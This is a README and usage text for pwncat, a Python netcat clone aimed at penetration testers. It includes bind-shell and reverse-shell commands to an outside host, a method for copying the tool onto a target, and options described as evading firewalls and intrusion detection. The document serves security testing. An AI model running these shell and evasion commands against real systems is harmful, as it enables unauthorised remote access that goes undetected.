Netcat with cmd exec, connect, listen and (local/remote) port-forwarding modes.
Dependency-less Python 2 and Python 3 compatible implementation of netcat which works on 32bit and 64bit systems to easily pivot your target.
To have a single tool for older, newer, 32bit and 64bit machines with relevant options (
-R) to create bind shells, local and remote port-forwards.
-R are still under development. See Usage for other available options.
pip install pwncat
Copy to target
# Copy base64 data to clipboard from where you have internet access curl https://raw.githubusercontent.com/cytopia/pwncat/master/bin/pwncat | base64 # Paste it on the target machine echo "<BASE64 STRING>" | base64 -d > pwncat chmod +x pwncat
# bind shell pwncat -l -e '/bin/bash' 8080
# reverse shell pwncat -e '/bin/bash' example.com 4444
Port-forwarding without SSH
# Make local port available to public interface locally pwncat -L 127.0.0.1:3306 192.168.0.1 3306
# Remote port-forwarding to evade firewalls pwncat -R 127.0.0.1:3306 example.com 4444
usage: pwncat [-Cnuv] [-e cmd] hostname port pwncat [-Cnuv] [-e cmd] -l [hostname] port pwncat [-Cnuv] -z hostname port pwncat [-Cnuv] -L addr:port [hostname] port pwncat [-Cnuv] -R addr:port hostname port pwncat -V, --version pwncat -h, --help Enhanced and comptaible Netcat implementation written in Python (2 and 3) with connect, zero-i/o, listen and forward modes and techniques to detect and evade firewalls and intrusion detection systems. positional arguments: hostname Address to listen, forward or connect to port Port to listen, forward or connect to mode arguments: -l, --listen [Listen mode]: Start server and listen for incoming connections. -z, --zero [Zero-I/0 mode]: Connect to a remote endpoint and report status only. -L addr:port, --local addr:port [Local forward mode]: Specify local <addr>:<port> to which traffic should be forwarded to. pwncat will listen locally (specified by hostname and port) and forward all traffic to the specified value for -L/--local. -R addr:port, --remote addr:port [Remote forward mode]: Specify local <addr>:<port> from which traffic should be forwarded from. pwncat will connect remotely (specified by hostname and port) and for ward all traffic from the specified value for -R/--remote. optional arguments: -e cmd, --exec cmd Execute shell command. Only for connect or listen mode. -C, --crlf Send CRLF line-endings in connect mode (default: LF) -n, --nodns Do not resolve DNS. -u, --udp UDP mode -v, --verbose Be verbose and print info to stderr. Use -v, -vv, -vvv or -vvvv for more verbosity. The server performance will decrease drastically if you use more than three -v. advanced arguments: --reinit x Listen mode (TCP only): If the server is unable to bind or accept clients, it will re-initialize itself x many times before giving up. Use 0 to re-initialize endlessly. (default: don't). Connect mode (TCP only): If the client is unable to connect to a remote endpoint, it will try again x many times before giving up. Use 0 to retry endlessly. (default: don't) Zero-I/O mode (TCP only): Same as connect mode. --reconn x Listen mode (TCP only): If the client has hung up, the server will re-accept a new client x many times before quitting. Use 0 to accept endlessly. (default: quit after a client has hung up) Connect mode (TCP only): If the remote server is gone, the client will re-connect to it x many times before giving up. Use 0 to reconnect endlessy. (default: don't) This might be handy for reverse shells ;-) --reinit-robin port Connect mode (TCP only): If the client does multiple initial connections to a remote endpoint (via --reinit), this option instructs it to also "round-robin" different ports to connect to. It will stop iterating after first successfull connection and stick with it or quit if --reinit limit is reached. Use comma separated string: 80,81,82 or a range 80-100. Set --reinit to at least the number of ports to probe +1 Set --reinit-wait to 0 This helps to evade EGRESS firewalls for reverse shells Use with -z/--zero to probe outbound allowed ports. Ensure to have enough listeners at the remote endpoint. --reconn-robin port Connect mode (TCP only): If the remote endpoint is gone after initial successful connection, and the the client is set to reconnect with (--reconn), it will connect back by "round-robin" to different ports. It will stop after --reconn limit has reached. Set --reconn to at least the number of ports to probe +1 Set --reconn-wait to 0 This help your reverse shell to evade intrusion detection systems that will cut your connection and block the outbound port. --reinit-wait s Wait x seconds between re-inits. (default: 1) --reconn-wait s Wait x seconds between re-connects. (default: 1) --udp-ping-intvl s Connect mode (UDP only): As UDP is stateless, a client must first connect to a server before the server can communicate with it. If you listen on UDP and wait for a reverse UDP client or reverse UDP shell, you can only talk to it after it has sent you some initial data, as UDP does not have a "connect" state like TCP. This option instructs the UDP client to send a single newline every s seconds. By not only doing it once, but in intervals, you can also maintain a connection if you restart your listening server. misc arguments: -h, --help Show this help message and exit -V, --version Show version information and exit
:lock: cytopia sec tools
Below is a list of sec tools and docs I am maintaining.
|offsec||Documentation||Markdown||Offsec checklist, tools and examples|
|header-fuzz||Enumeration||Bash||Fuzz HTTP headers|
|smtp-user-enum||Enumeration||Python 2+3||SMTP users enumerator|
|urlbuster||Enumeration||Python 2+3||Mutable web directory fuzzer|
|pwncat||Pivoting||Python 2+3||Cross-platform netcat on steroids|
|badchars||Reverse Engineering||Python 2+3||Badchar generator|
|fuzza||Reverse Engineering||Python 2+3||TCP fuzzing tool|
See Contributing guidelines to help to improve this project.
This tool may be used for legal purposes only. Users take full responsibility for any actions performed using this tool. The author accepts no liability for damage caused by this tool. If these terms are not acceptable to you, then do not use this tool.
Copyright (c) 2020 cytopia
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